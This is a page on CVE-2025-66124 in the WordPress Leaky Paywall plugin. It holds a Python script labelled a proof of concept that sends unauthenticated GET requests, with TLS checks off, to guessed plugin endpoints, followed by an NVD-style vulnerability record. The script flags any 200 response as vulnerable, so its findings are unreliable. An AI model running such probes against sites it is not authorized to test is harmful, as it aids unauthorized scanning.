CVE-2025-66124

# CVE-2025-66124 PoC - ZEEN101 Leaky Paywall Missing Authorization # Target: WordPress site with Leaky Paywall plugin <= 4.22.6 import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-66124 Missing Authorization in Leaky Paywall plugin """ # Common Leaky Paywall endpoints that may be affected vulnerable_endpoints = [ "/wp-json/leaky-paywall/v1/", "/wp-admin/admin-ajax.php?action=leaky_paywall_", "/wp-content/plugins/leaky-paywall/" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-66124 - Missing Authorization in Leaky Paywall\n") for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)} bytes") # Check if unauthorized access is possible if response.status_code == 200: print(f" [!] Potential vulnerability - accessible without auth") elif response.status_code == 403: print(f" [+] Properly protected") print() except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}\n") print("[*] Manual verification recommended") print("[*] Check Patchstack advisory for specific vulnerable endpoints") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66124_poc.py <target_url>") print("Example: python cve-2025-66124_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-66124", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:56.700", "lastModified": "2026-04-27T17:16:40.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ZEEN101 Leaky Paywall leaky-paywall allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Leaky Paywall: from n/a through <= 4.22.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/leaky-paywall/vulnerability/wordpress-leaky-paywall-plugin-4-22-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}